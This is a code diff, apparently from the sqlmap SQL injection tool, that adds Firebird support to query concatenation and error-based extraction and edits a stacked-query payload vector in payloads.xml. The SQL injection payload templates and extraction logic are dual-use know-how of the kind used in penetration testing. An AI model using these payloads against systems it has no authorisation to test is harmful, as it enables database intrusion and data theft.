diff --git a/lib/core/agent.py b/lib/core/agent.py
index 8ea2ceef9..0e0770b01 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -535,7 +535,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py
index d2edbb1ec..44e662043 100644
--- a/lib/techniques/error/use.py
+++ b/lib/techniques/error/use.py
@@ -23,6 +23,7 @@ from lib.core.common import incrementCounter
 from lib.core.common import initTechnique
 from lib.core.common import isListLike
 from lib.core.common import isNumPosStrValue
+from lib.core.common import isTechniqueAvailable
 from lib.core.common import listToStrValue
 from lib.core.common import readInput
 from lib.core.common import unArrayizeValue
@@ -34,6 +35,7 @@ from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import PAYLOAD
 from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
 from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
 from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
@@ -180,6 +182,9 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
         else:
             expressionReplaced = expression.replace(expressionFields, field, 1)
 
+        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.QUERY) and Backend.isDbms(DBMS.FIREBIRD) and expressionReplaced.startswith("SELECT "):
+            expressionReplaced = "SELECT %s" % agent.concatQuery(expressionReplaced)
+
         output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
 
         if not kb.threadContinue:
diff --git a/xml/payloads.xml b/xml/payloads.xml
index ad3c4c9e9..e574d12be 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -2004,7 +2004,7 @@ Formats:
         <clause>1,2,3,8</clause>
         <where>3</where>
         <!-- TODO: this vector does not work in Firebird -->
-        <vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
+        <vector>[QUERY]</vector>
         <request>
             <payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload>
         </request>